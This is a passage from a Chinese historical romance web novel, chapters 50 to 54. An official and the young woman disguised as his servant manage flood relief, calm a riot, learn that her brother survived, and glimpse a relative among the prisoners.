这位大理寺少卿能谋善断的名声,稍一打探就可知道。他未曾预想过陆执方是个草包,却未料到他也戒不掉膏粱子弟的作风,赴任路上带美酒,入夜枕边睡美人,今夜之事,或许真是他多心了? 默然片刻后,嵇二郎摇头笑了笑,搁下杯盏。 “果真是陶州寻不着的好酒,良宵苦短,我就不妨碍陆大人了。明日一早,我便护送陆大人到翁沙县去,那里灾民流离失所,就盼着陆大人的庇护。” 馥梨在床帐中背对着他们,听得嵇二郎离去,屋门阖上的声音,才慢慢转过身来。她坐起来,覆盖到肩膀的薄被滑下,露出一身未来得及更换的夜行衣。 手心出了一层薄薄的汗,有惊无险。 陆执方在弥勒榻招呼她:“过来。” 他换了一只新的小酒杯,斟满了酒,递给馥梨。 游介然塞到大箱子里给馥梨的东西,有的没的,鸡零狗碎,有能派上用场的,也有瞎胡闹的玩意。 比如这两壶春风醉。 馥梨拿着酒杯犹豫,还是喝了下去。 醇厚酒液淌过了喉头,冰冰凉凉的,滑入肺腑却像一把火,烧起暖融融的热意,把她脑子里紧绷的那根弦也烧掉了。人顿时觉得了一些放松来。 陆执方温声问她:“还要吗?” 她勉强维持理智:“会不会影响明日行程?” “不会。”陆执方伸手一拉,把她拽入怀里。 “可是我怕嵇二郎发现了是我……” “他没发现才怪。” 陆执方给她空杯蓄满了酒,再喂到她唇边,淡声解释道:“随行没有女子,他下楼了同驻店一打听就知道我有没有从花街柳巷叫人来,不难猜到是你女扮男装陪的我。适当露一些破绽,能叫他更放松。” “我就是怕,给你拖后腿了。” “没有,小梨儿很得用。” 小娘子不知道他所谓的破绽是何。 水润红唇微张,乖顺地把酒都喝进去,两颊渐渐浮出一抹酡红色,朱颜薄醉,恰如胭脂淡沫。陆执方垂眸注视片刻,拇指揉过她唇角,吻去那点酒渍。 春风醉浸过的唇,除了软,还透着酒香。 陆执方吻得轻柔,馥梨搭在他肩上的手忽然掉了下去,脑袋一偏,搁在他胸前,双眸已经闭上了。 竟是酒意微醺下,累得睡过去了。 也该累了,今夜可陪着他走了好多里路。 他抱起怀中人往床里去,轻轻放好,拉上薄被给她盖住。少女睡得不踏实,一会儿这里挠挠,一会儿把自己衣襟扯开,薄被踢到床边去,蛾眉拧在一起。 陆执方无声看了一会儿,想来是夜行衣束手束脚,叫她睡着不舒服的缘故。平生除了家中尊长,他没伺候过人,此刻脑海飞速回转,手下动作生疏。 罗袜解开,露出一双白皙丰润的赤足。 腰封卸下,解放不盈一握的纤腰。 朴素的黑色衣衫剥去,露出底下纯白中衣,要脱下衣袖了,免不得要把她身子抬起来。 陆执方手垫入她背后,将她托起,扯开了衣袖一边,再换一边时,馥梨半醒,睁开了还惺忪的杏眸。 “世子爷做什么?” “替你宽衣。” 她得了答案,慢吞吞“哦”了一声,人便挨着他卸了力,叫陆执方更轻松地把另一边衣袖也脱下。待整套夜行衣都褪下,陆执方吁出一口气,抽过薄被再覆上去,这回可算能睡踏实了。被伺候的小娘子浑然不觉,杏眸半睁半闭,还在斜斜望他,蛾眉未展。 “怎么?还有吩咐?” “……还想擦脸。” 得寸进尺。 陆执方两指一曲,想弹她额头,又怕给她睡意弹醒了,认命地去门外给她叫热水。 翌日一早,嵇二郎已在大堂恭候。 陆执方同荆芥、黄柏下来,便见桌上摆了早膳。 “陆大人同行的长随小哥,怎么不见了人影?” “路上撞了些风,头疼,让她睡晚一些再起。” 陆执方答得随意,拿起竹筷,却是寻了个空碟子把早膳都夹出一部分,递给黄柏,“给送上楼去。” “陆大人待身边仆役都如此亲厚吗?” 嵇二郎话音刚落,黄柏的早膳还未送上楼,楼梯就传来噔噔噔的脚步声。睡晚了的小娘子作小厮打扮,软皮小帽戴得歪斜,露出鬓边几缕碎发,急匆匆地朝他们的位置走来,眸中有睡过了时辰的懊恼。 陆执方朝嵇二郎露了一个心照不宣的笑。 “也并非人人如此。” 50-55 第51章 “就说哄不哄得好吧。”…… 陆执方看过定南最早递送到朝堂的奏报。 只有短短一句:“大雨,昼夜不绝二十日,河决水出,流千余家。” 他也曾经在劝阻馥梨不要随行时,给她描述,而今在嵇二郎带领下来到翁沙县,仍是对眼前灾后余生的情景,感到良久无言的震撼。 严谨简洁的奏报,落为眼前景,是乱树倒卧,被连根拔起,是泥沙淤积,处处污水横流。 是放眼可见蓬头赤脚,盎中无斗米,架上无悬衣的翁沙县老弱妇孺。 朝廷赈灾队伍早他一两日抵达。 都水司郎中刘健已去往决堤处,指挥民壮修复。 县衙都被冲了,倒塌一半没重建。度支司员外郎徐海潮在临时支起来的县衙办公处忙得焦头烂额,见陆执方带着人过来,大大松了一口气。 “小陆大人,您可算来了啊。外头等着领米领救济的百姓看见了?” 他刷拉地扯过了一叠记录,是经折装的样式,另一头掉落在地面,给他拉出了等身高的。 馥梨一眼瞥去,见上头密密麻麻全是蝇头小字。 陆执方拉过开头第一页,“徐度支,这是翁沙县各户的受灾情况详情?” “对对,经下官统计,翁沙县一千七百多户,有人丁的剩下一千零五十八户。朝廷拨过来的赈灾银,您是心里有数的,家家户户都均等分派的话,每个人都领不到多少。下官是想按走访情况,给他们划分三等,按极贫、次贫和稍贫,分给不同额的米粮救济。陆大人以为如何?” 徐海潮看着他,最终决定权还在陆执方。 陆执方来县衙办公处前,已在翁沙县多户走访,知道徐海潮所言非虚。他环顾一圈,这临时县衙简陋,竟找不出多一把椅子,正要就这么站着说,眼前忽而出现一张圆凳。 馥梨利索地擦擦上头灰尘,“世子爷坐。”说罢又跑去了茶棚。竟似回到了在静思阁当差的时候。 他失笑片刻,坐下与徐海潮细说。 “徐度支按极贫、次贫和稍贫划分的想法极好,何不将救济之物,再相应划分?” “小陆大人的意思是?” “极贫赈米、次贫赈钱、稍贫赈贷。”陆执方提笔在纸面写了一个数,正是朝廷赈灾银的总额,“如此,剩下官钱可用于死民葬瘗、遗弃孤儿收养等。” “此法可行,”徐海潮眼前一亮,脑中算盘飞快估出一个数,“那小陆大人觉得该如何划分?下官以为……”他说得口干舌燥,摸向早空了的茶杯,不知何时添了温茶,抬眼一看,原是陆执方着的小厮。 小厮眉眼清秀,双手抱着个水囊,此刻正全神贯注地听他们商议。陆执方也不避讳,就这么同他商讨出一套执行细则。 “接下来就是每户贫困情况划定的问题。这一千多户,我这两日只来得及带衙役核验其中三百多户的,剩下的还有许多。”徐海潮连连感叹,即便能把百姓都召集过来询问,有些村落屋舍的情况,还是得实地去看,他两条腿都跑瘦了许多。 “我带的人有腿脚利索的,徐度支还是留下来核定银钱账目更好。”陆执方话落,将随行人员喊来,一一分配任务。这些大多数是镇国公府来的护卫,少数是朝堂随行的小吏。 他连黄柏都安排了,“这里有荆芥守着就行。” 馥梨欲言又止。 陆执方睨她一眼:“有话说话。” 馥梨想了想道:“世子爷,我的腿脚也挺利索的,我还会写字。有的护院不识字,只能靠脑袋记,回头还得着小吏登记,我不用。” 徐海潮听了笑:“小陆大人,难得小伙子有这份心,你就准了吧。” 这可不是小伙子,是他的小姑娘,陆执方无声暗叹,“你跟着黄柏去,有个照应。” “我知道啦。”馥梨脚步轻快地跑开了。 这一日分外忙碌,等再见到面,已是繁星满天的时刻。馥梨拖着两条酸软的腿回到县衙安排的住处。 她作为小厮和陆执方挤一屋,还是蹭了他这个赈灾钦差的光,住的是乡绅建在小高坡上的院子。 陆执方还在挑灯写兴工助赈的公文,听见她拖拖拉拉的脚步声,头也没回,“热水在后屋小净房,你趁这会儿没人,先去擦洗了。” 馥梨盯着他纸面看了一会儿便去了。洗漱完回来,陆执方还在伏案办公。 “世子爷,要我帮忙研墨吗?” “你这腿要是还站得动,还不够累,明日我让黄柏带你多跑一百户。” 馥梨一噎,躺回了床上,睡到后半夜醒了,才觉得有微凉的怀抱拢过来。陆执方身上有洁净水汽,衣衫之下。她感受到的身躯却不甚温热。 馥梨伸手摸到他手臂,“洗了凉水澡?” “厨房没人了,凉水快。”陆执方声音懒懒的,罕见透出了些疲惫。馥梨调整了个舒服的姿势,抱着他背后拍了拍,听得耳侧一声暗哑的轻笑。 “拿我当小孩儿哄。” “就说哄不哄得好吧。” 陆执方没说话,将她抱得紧了些。 清亮月色透过半掩窗扉,照亮床头一隅。 馥梨凝眸望去,青年郎君的入鬓长眉紧锁,人已宽衣睡下,心还留在案头。 她手指抚过去,摸摸眉心川字纹,“白日里同徐大人商议得挺好的呀。我即便不懂政务,作为普通百姓,也觉得这些赈灾的法子既实际灵活,又解了燃眉之急。” “不是赈灾细则的问题,是灾区划分。” 陆执方沉吟片刻,“徐海潮年轻时就是从翁沙县考出来的举子。白日里我问过他,他说如溪县的地势和距离,理应是受灾第二严重的县。他少时念书,定南也有过严重洪涝,如溪县当时死了快半个县的人。或许就是这样,有了警惕,在暴雨前疏散得及时。” “世子爷觉得蹊跷?”馥梨也记得陶州城破庙里,那些孩子说的话,与嵇二郎的南辕北辙。 “耳听为虚,眼见为实。” “可嵇二郎还在这里,白日里我跑去走访就碰到他了。他会拦着不让我们去吗?” “不是我们,是我,我去。” 嵇二郎若知道了,未必会明面上阻拦,暗地里会做什么就说不好了。陆执方捉下她在他眉心乱挠的手,“把你一人留在这里打掩护,怕吗?” 小娘子在昏暗里默然半晌,软绵绵地应了一句:“不怕的。” 嵇二郎住在另一个乡绅的院子里。 他在翁沙县闲逛了一日,之后便好好待着休整,陆执方和身边人的行程,自然有他的人来禀告。 “今日上午,陆钦差和徐度支在临时县衙商议赈灾对策,下午去了收留孤儿的小善堂和养病坊。” “今日上午,陆钦差在乡间宣讲兴工振贷和种牛租借的细则,下午还是去了小善堂和养病坊。” “今日一整日都在临时住处里闭门不出。” 嵇二郎微微意外,“一整日?” 瞧着不像是个懈怠的官儿。 属下禀告的声音瓮声瓮气,像是得病前兆,“昨日陆钦差在乡间宣讲时,就有几分咳嗽和声音嘶哑,下午又去了养病坊,那里收留的都是得病妇孺老弱。今日,小的去县衙打听,说是染急病发了高热,起不来了。”话毕,自己掩着口鼻,打了个大大的喷嚏。 洪涝灾害,人畜尸体来不及收敛,就容易散播病疫。如溪县的县令,就是灾后病死的。 嵇二郎用衣袖捂着口鼻,让那下属退远了些。 趁着天色未完全黑下去,他翻出面纱,往陆执方落脚的院子去。 陆执方的屋门半掩着。 嵇二郎还未靠近,就从门缝处闻到了一股浓重的药味。他抬手敲门,“陆大人,我是嵇二。” 陆执方声音有些飘忽,“嵇二郎稍候。” “嵇二公子。” 他身边那女扮男装的小厮来开门了,容色有些疲倦,连软皮小帽都未戴好,毛茸茸的额头落下几缕碎发,贴在鹅蛋脸颊,看得出几分女装时的楚楚动人。 嵇二郎目光掠过,微微惊艳,转而去看陆执方。青年披散头发,穿着素绢中衣,躺坐在床上,床头凳子上是一碗药并两粒蜜饯果子。县里这个光景,还能寻到蜜饯果子,果真是养尊处优惯了。 嵇二郎啼笑皆非,看向陆执方一脸病容,“陆大人药都快放凉了,怎还不喝?” 陆执方有气无力给他一个字:“苦。” “世子爷,苦口良药。”馥梨跟着劝了一句,将碗捧到他面前,药勺喂到了嘴边。 陆执方就着喝了几口,对上嵇二郎微妙的目光,咳了一声,“这位是我未婚妻,叫嵇二郎见笑了。” 这话出乎嵇二郎意料,他还以为顶多就是个通房小妾,“原来是世子未婚妻,失敬了。” “迟姑娘是我老师的义女,这次是偷偷摸摸跟我跑出来的,为着声誉着想,就叫她女扮男装跟在身边了,还望嵇二郎替我保密。” “这是当然。” 嵇二郎看了一会儿郎情妾意,甚觉无趣,回到后提笔写了一封书信,让属下快马加鞭送去给父亲。 属下拿了信,骑上马,融入了深深夜色中。 同一天幕下,亦有人换上一身夜行衣,预备轻装快马而行,赶往几十里外的如溪县。 “真的不怕?”陆执方回头问。 馥梨眸光清亮,笑意湛湛,“你都把荆芥小哥留给我了,还怕什么?”她是有些怕的,但更怕不远之外有比翁沙县更水深火热的地方,被刻意掩埋。 陆执方离去的第一日,相安无事,继续称病休养。第二日,大清早,她被一阵拍门声吵醒了。 徐海潮的声音慌乱着急:“小陆大人,小陆大人!你快起来!” 馥梨披上衣服坐起,还未开门,“世子爷还病着,徐大人何事?” “有一批本来被征调去修筑河堤的民壮,正围在临时县衙那里闹事,说赈灾钦差不公,放任如溪县百姓饿死,场面乱得很,再不控制恐怕要成民变了。” 第52章 “小梨儿辛苦,今日我当…… 馥梨仓促地整理了装束,跟着徐海潮往临时县衙赶去,还未到大门,已看见陌生民壮如潮水般,围拢在门口,人人面色憔悴,眼神疲惫而尖锐。 有人声嘶力竭地大喊:“我们整日在河堤上卖力气,为的就是家中老小能早日领到救济。瓮沙县灾情严重,那凭什么安浚县、义宁县都能领到物资?” “对啊,凭什么如溪县的却没有?” “家里日子实在过不下去了!” “我们要见赈灾钦差!” 众人纷纷附和,嘈杂声一片。 县尉和嵇二郎领着稀稀拉拉的七八衙差,勉强挡在门口,“诸位乡亲,钦差大人一路奔波劳累,为赈灾亲力亲为,如今已忙病了,实在无法见大家。” 这些话听在翁沙县百姓耳朵里,是真话,听到如溪县的民壮耳朵里,无异于火上浇油。 人群中不知是谁激动地叫嚷起来:“钦差当真是个好的,怎么管这头不管那头?咱们如溪县人少地贫,就该活活饿死吗?不如直接抢粮仓,分粮食,好过坐以待毙!”这一喊,人群瞬间躁动起来。 外围关注异动的本地民众面色大变。 “赈灾粮食和银钱怎么分配,都是官老爷们商定好的,你们抢了去,叫旁人怎么活?” “我们瓮沙县也靠着这点粮食熬过难关呢!” “我呸!你们得了接济这些天,早就有存粮了,如溪县病的病,死的死,都快成人间炼狱了。” 双方剑拔弩张,不知是谁先动了手,推搡起来。 馥梨愣住,徐海潮拉上她就想走:“不行,任由他们这么闹下去,场面就一发不可收拾了。小陆大人就是病得再厉害,架着也要架起来,我们回去!” 馥梨挣脱不开。 蓦地,一只手伸来,将徐海潮的手拎开。 “徐大人,得罪了!” 荆芥朝徐海潮一抱拳。 馥梨看向荆芥,“荆芥小哥,我想进去里面。”人群里三层外三层,如溪县和瓮沙县,加上嵇二郎指挥的拉偏架的衙差,混乱至极,她根本挤不进去。 荆芥拧着眉头打量地形,伸手一指门口大树。 “你去那树下稍候。”他指完了正要去找麻绳,又听得馥梨脆生生的嗓子,“再找个铜锣来。” “成!” 临时县衙的门口喧嚣不止。 比人群嘈杂更具有穿透力的铜锣声急促敲响,哐哐哐——似洪钟大吕,震鸣出金属的锐利与高亢,叫忙得不可开交的众人一滞,与此同时,门口大树上,一双人影拽着麻绳飞荡而下,引得众人视线聚焦。 馥梨稳稳地落地,手中铜锣敲响最后一声,哐——“诸位乡亲,陆钦差没有忽视如溪县的灾情。” 她声音小,竭力一字一句说得清晰,话音刚落,荆芥就声如洪钟地复述,带着练武之人特有的雄浑劲道。荆芥的声音叫里三层外三层的民众都听见了。 翁沙县的人松一口气,如溪县的人将信将疑。 “陆钦差已经夤夜赶去如溪县。考虑到翁沙县有争抢混乱,担忧民心不稳,才未向外公布行程。” “眼下已到县里,开始组织赈灾了。” “诸位修筑上游堤坝,听闻如溪县前阵子等不到救济,便急着赶来问询,何不亲自回去看一眼?” …… 几句话传达下去,最先动手的几人犹豫,有人默默放下了拿来当武器的农具,有人对上了嵇二郎的眼神,嗤地冷笑了一声,“我看着就是缓兵之计。” “你们就是想骗我们回去,一来一回,路上耽搁的时间足够搬来救兵了,如溪县该有的钱粮还是等不到!都愣着干什么?动手啊!先抢了粮仓再说!” 最里层的几人大力推搡。 荆芥将馥梨牢牢护在身后,馥梨却感觉头上戴的软皮小帽一松,发髻被人扯了一下,青丝散落颊边。 她本来出门急,就没有化妆遮掩。 “是个女子?你连县衙的人都不是,还骗我们说钦差去了我们县里,这不是胡说八道吗!” “诸位!” “诸位停一停。” “这位姑娘是陆钦差的未婚妻,并不是什么闲杂人等。”嵇二郎勒令衙役朝着馥梨的方向围拢,“还不快保护迟姑娘,免得受了冲撞!” 他几句话,让衙差们有几人分过来,防线霎时变得薄弱,后面的人看前人带头,露出跃跃欲试之色。 人群渐渐围拢缩紧。 馥梨在急中想起了一些名字,扯了扯荆芥。 “各位乡亲,当真是如溪县来的?” “还能有假吗?” “有平乐村的吗?” 荆芥大声复述,挤在人群中更瘦弱些的男人高声回答,“我就是平乐村来的!” “小哥上前说话。” “平乐村的康二家中有老娘卧病在床,洪水来时没逃掉,但他孩子在村口私塾念书,逃过一劫。” “王小五是私塾里年纪最小的,家人去镇上工,平时就和爷爷相依为命。”馥梨等他来到跟前,将小破庙那晚听到的见闻尽数说了,“可是这样?” 瘦弱男人微愣,“是这样,可你怎么知道?” “陆钦差没有忽略如溪县,他一直在关注如溪县的灾情,这些便是他探查时得知的情况。”馥梨目光诚挚,看向眼前只为家人能有一口粮而闹事的民壮,“耳听为虚,眼见为实。我和诸位一起去如溪县看,要是我所言有半句假话,你们大可将我绑了。” 方才嵇二郎喊的那一句,他们都听清楚了。 这是钦差未婚妻,她在如溪县,钦差不可能放任不管的。“走,回县里看看,你跟着我们回去!” 领头人松了口,有个别意见相左的同伴,被多数人的意见制服了。剑拔弩张的氛围一松,馥梨在荆芥围护下,跟着如溪县的民壮往外走。 行到快天黑,才到了如溪县的地界。 乡道上,有大人带着小孩子,共骑一匹脏兮兮的骡子,朝着他们这行人的方向来。小孩子奶声奶气,远远就喊了一声“赵大叔!赵大叔!我们正想去河堤里找你们呢,年轻的官老爷带了好多米粮医药来,还把安浚县的大夫调过来了。” 众人听闻,皆露出震惊之色,接着便是大喜,也顾不上盯梢馥梨了,纷纷加快脚步,往家里跑去。 馥梨送了一口气,低头一看衣摆,都快被她攥得变形了。她和陆执方约好的,若如溪县无事,他翌日就会赶回。若没有赶回,就说明情况不妙。 游介然单独加给陆执方的私人物资,不在朝廷的赈灾物资名册里,一直作为陆执方的随行物件,调度无需经过县衙登记,也就落不到嵇二郎的视线里。 她一脚深一脚浅地踏入如溪县的村道里。 一路经过了新搭建的粥棚和医馆,在暮色中早早点起了灯,棚前人影重重,飘出温热浅淡的米香。 最后在平乐村简陋的小木屋,她找到了陆执方。屋内一览无余,一张矮榻,一张长桌,桌面堆着凌乱的账册文书,显然是办公和住处混用的地方。 连个临时公务处都没有。 陆执方正在看信,察觉门口光线被遮挡,抬眸就看见馥梨有几分狼狈站在门外,荆芥跟在后头。 他眸中闪过惊讶,荆芥刚要解释发生了什么事,就见陆执方抬了抬下颔,示意他守在门外。 屋门阖上,只剩小窗透着落日余晖。 陆执方将她拉到窗边打量,小娘子披头散发,嘴唇干裂,软布鞋上都是泥灰,杏眸中神采莹亮未减。 她像是有很多话想说,动了动唇,问出来却是,“有水吗?我渴了。” “有。”陆执方从桌底给她翻出个水囊。 馥梨仰头喝下,灌得有些急,清水流过唇角,叫陆执方用衣袖拭去。她解了渴,吁出一口气,将那些民壮闹事的经过,给他慢慢说来。 “世子爷,我就是这么跟他们过来了。” 她定定看他,好像眼巴巴等一句夸奖的小孩儿。 陆执方被那眼神撞得心尖发软。 他默然半晌,俯身抱起她,到矮榻上坐好,给她脱了那沾满泥灰的软布鞋。 “小梨儿辛苦,今日我当小厮。” “只当一日吗?” “不够两日?” “我要三日。” 馥梨笑。 她想到了之前民壮闹事时,嵇二郎的表现,笑意淡了下去,“之前我们猜测,嵇二郎隐瞒如溪县的灾情,可能是他爹收受了安浚县、义宁县那些豪强大族与乡绅的银钱,要为他们先行赈灾放贷,减免田地赋税和徭役,可是我看嵇二郎分明想把事情闹大?” 陆执方并不意外,沉吟了片刻道: “安浚县、义宁县的灾银灾粮,户部同僚已有人去发,实惠落到了手里,不能收回去,翁沙县再闹出民变,便成了我的错处,叫他们拿捏的一个把柄。” 馥梨听了一愣。 陆执将她碎发仔细拢到耳后,“难关既过,先不想了,给你说点开心的。” “还能有什么开心的?” 馥梨想不出来。 陆执方慢慢道:“你阿兄的踪迹,找到了。” “当真?阿兄他在哪里?” “皇城。” 陆执方将信塞到她手里,“你阿兄足智多谋,在赤乌河一战中,佯装被岷象国俘虏,出卖我军情报,实则潜伏进敌营一月余,斩杀了敌军主将,又火烧粮仓。他趁乱逃脱了,岷象粮草不继,损失惨重,没僵持多久就退兵了。” “那阿兄他,他有没有受伤啊?” “不止没有受伤,还加官进爵。陛下大为赞赏,要封你阿兄做靖安侯。这封信在我们出发时,就已经在襄州写好,此刻,你阿兄应该早就完成册封了。” 第53章 欺负得太过了,半天不应…… 深夜时分,屋内一灯如豆。 馥梨还呆呆地坐着,手里捏着亲眼看过的信。 温热湿润的水汽覆盖上来,是陆执方打来热水,给她用一方帕子净面。青年的手掌宽大,在她小脸上囫囵地揉过一遍,又捞起她的手掌,一根根手指擦。 馥梨看了一会儿,淡笑起来。 “怎么?” “世子爷真的不会伺候人。” “有的是时间慢慢学。” 陆执方挑挑眉,手帕丢回水盆里打湿了又拧干,再回来瞧见她垂眸,眼睫湿润,蒙着浅浅雾气,“是我力道太重还是怎么着,至于让你这么难受?” 馥梨摇头,朝他伸出了双手。 陆执方俯身,将她抱入怀里。 “我没想过还能再见到阿兄,家里出事之后这么久了,我一直以为这世上只有我一人了。”小娘子的声音闷闷的。巨大喜悦过后,委屈才后知后觉涌来。 陆执方静了一会儿,摸摸她头发。 “待你这么好,弄半天,我不算数?” “世子爷算半个。” “怎么只得算半个?” 馥梨掀起眼皮看他,细细声道:“你都不跟我一个姓。”她委屈来得快,去得也快,小小情绪说出来就散了,往后的生活,她还有更大的期盼。 馥梨吸吸鼻子,拉陆执方衣袖,“水快要凉了,世子爷快些帮我端过来。” 她想把脚也洗一洗。 陆执方斜乜她,不紧不慢“喳”了一声。 馥梨简单擦洗后,困意上涌,没等出屋去倒水的陆执方回来,自己身子一歪,倒在矮榻上睡着了。 春光消融,暑热渐起。 矮榻上铺了藤簟,她一睡下去觉得凉凉的,睡到后半夜却觉得冷,人止不住地打寒颤。到最后,头发都湿了,一缕缕贴在颈后,后背也潮湿了一片,迷迷糊糊地,听见陆执方的声音在喊她。 “馥梨,醒醒。” “唔……” “你起高热了,我带你去找大夫。” “……不、不用。” 馥梨迟缓了一会儿才拉住他,声音低得像碎碎念,“已经发汗出来了,无事。”她跟着沈霜月看诊那段日子,也懂得了一些基础医理。 如溪县得疫病的人多,陆执方来之前服了抗风寒病症的药,她被人群架着过来没做准备,情绪在大惊大喜之下,最易风邪入侵,也是发散出来就好了。 “我想喝热茶,再换一身干净衣裳。” “看大夫,这更稳妥。” 陆执方不同意,手被她拉起,贴到她额头上,掌下皮肤润泽微凉,的确是热褪之症。馥梨柔声道:“要是明日醒来还不舒服,再去看大夫也不迟。” 陆执方点灯,看清楚她精神尚可,才去屋外打水煮茶。再走回屋里时,馥梨已将汗湿衣衫换下,裹着薄被,乌发蓬乱下,一张小脸似玉莹白。 她刚换下的中衣凌乱堆放在矮榻一角,烟紫色的小衣卷在里头,几根飘带散出来。 陆执方瞥了一眼,笼统地一起拿开,给她端来热茶,眼看她要抖抖身上被子,伸出光裸的手来拿。 他咳一声,“别乱动,就这么喝。” 茶碗喂到她唇边倾斜,一点点,馥梨嫌烫,抿了一小口,红润舌尖在齿关若隐若现。 “兑一些凉水呀。” “兑过了。” “那就劳烦世子爷再兑一些。” 她话里夹着小小的软刺,刺的是他白日里讲过要当小厮的戏言。陆执方失笑,摸摸鼻尖:“好。” 茶水终于勾兑得温凉适宜。 馥梨润了嗓子,解了渴:“要换衣服。” 她在这里没有换洗衣衫。 陆执方给她找了一身自己的干净中衣,“只有这件了。”他背过身去,听见身后窸窸窣窣,视线落在墙面,灯火映出少女玲珑身段,勾出曼妙虚影。 他喉头滚了一下,连眼睛都闭上。 “好了。”馥梨轻轻提醒。 陆执方刻意没看她,吹灭了灯,躺回榻上。 小娘子又慢慢钻回了他怀里,“世子爷。” “嗯?” “差事当得挺好。” 不知是昏暗里没找准,还是人虚软没力气,馥梨软软的唇亲在了他下颔底,差一点就到了喉头。 陆执方哽了哽,偏偏拿一个病着的人无可奈何,“谁教你这么亲的?” “嫌弃,那便不亲了。” 馥梨不管他,舒舒服服地重新睡过去了。 这一觉沉眠,无梦无扰,馥梨睁眼神清气爽,却对上了面前眸色幽幽,眼底泛青的世子爷。 她好像还枕着陆执方的手臂。 “醒了?” “嗯。” “还有哪儿不舒服吗?” “没、没有,不用去瞧大夫了。” 她抬了抬身子,叫陆执方抽出手臂,略带讨好地看着他笑。如溪县条件简陋,陆执方下颔冒出了一点凑近才看见的胡茬,馥梨拿手指头碰碰,“我等会儿问问,给世子爷借一把刮胡刀。” 陆执方轻哼了一声。 “难道不要?” “比起刮胡子,还有更急的。” “更急的什么?” 馥梨睁着乌润的杏眼疑惑。 陆执方结结实实地吻过来,舌尖勾住,被压麻了那条手臂恢复知觉,揽过她腰肢,紧紧压向了自己。 馥梨“唔”了一声。 青年另一手贴着她衣衫下摆,灵活地钻进去,似冬日暖烘烘的手炉,毫无阻隔地贴在她腰侧软肉上。 她吓得一缩,却被扣得更紧,眼眸快被逼出了一层水光,昨夜发汗多,她连小衣都脱了,陆执方的手再往上,就能摸到她一颗心跳得激越的地方。 陆执方的手左右来回,还是停在了那里。 摩挲却未停,长年累月握着缰绳的指腹磨出茧子,一寸寸激起她的鸡皮疙瘩。他唇上的吻更加深,馥梨最后一点力气都像是被他抽走,膝盖无力并拢。 “现在知道怕了?” 他一字一句,贴在她耳廓。 像在呢喃,又像在警告。 馥梨睁开了雾蒙蒙,似润着春水的眼,整张脸在浅淡晨曦里满是绯霞色。陆执方亲了一下她眼皮,作乱的手恋恋不舍地拿开,去牵她的手。 她松一口气,还未缓过来片刻,心跳又乱。 手掌被陆执方引着,触到他结实温热的胸膛,清薄肌理裹着属于青年的蓬勃身躯,顺着挑开的衣襟,从胸骨中缝滑下,到越来越热意滚烫的地方。 馥梨紧紧闭着眼。 陆执方呼吸几度乱了,唇在她脸颊轻轻触碰,有时是鼓励,有时是难耐的催促。 等到晨曦变得更明亮了些,他呼吸才定下来。 “小梨儿。” “小梨儿?” “我去监督米粮发放,早食叫个婶子给你送。” “……” 欺负得太过了,人裹在薄被里,半天不应他。 陆执方看着那拢成一团的身影,大致估摸出脑袋的位置,拍了拍,“你应我一声,我立刻走。” 馥梨硬邦邦道:“一”。 屋门推开又阖上。 馥梨从被子里探出头来,陆执方把桌子上全部的公文信件都收走了,桌上只放洗漱用具和清水,旁边是一条刚刚给她擦过手的粗布帕子。 她用手背凉了凉自己脸颊,换上昨日那套小厮的衣衫,没多久,就有个声音和蔼的婶子来敲门。 “迟姑娘,您的早膳。” “谢谢婶子。” 说是早膳,只是简单的稀粥和咸菜。馥梨趁着人还没走,同她打听了村里哪里还要人帮忙。 吴婶想也没想道:“医馆那头,陆大人从隔壁县调来了好些大夫,懂得包扎和抓药的学徒不够。” 馥梨填饱了肚子,就找到了临时医馆说明来意。 医馆正是缺人时,老大夫盯着她抓了几单药,虽然动作生疏有些慢,药材选择却没错。 馥梨这边再开一条队伍,医馆挤得乱糟糟的人就少了许多,忽而看见几个衙差,押着一批穿囚衣的人来就医。本来在排队的百姓避让了一些,议论纷纷。 “囚犯怎么也跑出来了?” “县里监牢淹了呀,老知县说囚犯的命也是命,不能不管,就把人都解放出来了。” 提起因为染病去世的老知县,百姓沉默下去。 馥梨在人群议论中,无意间向那批犯人看了一眼,同其中一人目光对上了。那人形销骨立,须发皆乱,左脸颊有一块淡红色的胎记。 馥梨一愣,脱口而出:“五叔!” 被她叫五叔的男人一滞,移开视线,嘴里突然间吱哇乱叫,左冲右撞,随即被同行衙差扣押下,“还看不看病了?官老爷好心,你们别不识好歹!” 其余囚犯离得远了些,“又犯病了!” “隔三差五就要疯一回!” 这一回,疯劲厉害得吓人,两个衙差都制服不住,一扭身就撞开了人群往外跑。衙差忙追去,剩余衙差怕出意外,把病情较轻的囚犯往临时看押处赶。 晌午时候,陆执方带着饭食回来,看见的是有些失魂落魄的馥梨,呆呆地坐在小凳子上。 他手指在她眼前晃了一下,“不饿?” 馥梨一下抓住了他的手指,“世子爷!早上医馆那里跑了个囚犯,你知道吗?人抓到了吗?” “衙役报告了,但没抓到。” 陆执方话落,她眸光肉眼可见地黯淡下去。 “为何关心那个囚犯?” 陆执方把汤勺塞到她手里,“边吃边讲。” 馥梨心不在焉地勺了一下比早膳更稠一些的粥,“他长得很像五叔,一个跟着我爹行商出海的人。”要是能找到五叔,说不定爹爹欠下巨额债务的事情,以及出海遇到船难的细节,就都清楚了。 陆执方听完了她的话,稍一思索,找来纸笔。 “你将五叔画像画下来,我找人同那些囚犯对比打探,一抓到人,立刻通知你。” 馥梨立马要去拿笔,被陆执方一下子摁住。 “世子爷?” “先吃饭。” 陆执方推来了那碗特地加了肉末的稀粥。 第54章 他是我最信任的人了。 临时羁押犯人的地方在地面。 不如地牢阴森,甚至还有些闷热。囚犯们或站或坐,百无聊赖,面上有一种监牢关押惯有的木然。 陆执方手持馥梨画的画像,将狱卒叫来问询: “可认得此人?何时关押?罪名是什么?” 狱卒知道今日又跑了一个囚犯,细细回忆道:“这人名叫王元五,大概是去年六七月偷盗入狱的,一直疯疯癫癫,嘴里时常嘟囔着莫名其妙的话。” “偷盗何物?” “小的也记不清了。” 衙门放卷宗的地方被水淹,很多记录丢失,就连上一任县令都染病去世,主簿见灾情严重直接跑了。 陆执方可询问的人,剩下与王元五同监牢的犯人,得到的答案与狱卒所言大同小异。 怪模怪样,疯言疯语,鲜少与人交谈。 馥梨一路听着,同陆执方离开了羁押地。 “世子爷,从去年七八月关到现在的偷盗罪,是偷了很贵重的东西吗?” “对,所窃物品价值高,或者被偷窃失主是官员,否则鞭笞加赔偿失主财物,就能免除牢狱。” 馥梨听得眉头拧起来。 “怎么了?” “五叔不像是会偷盗的人。” 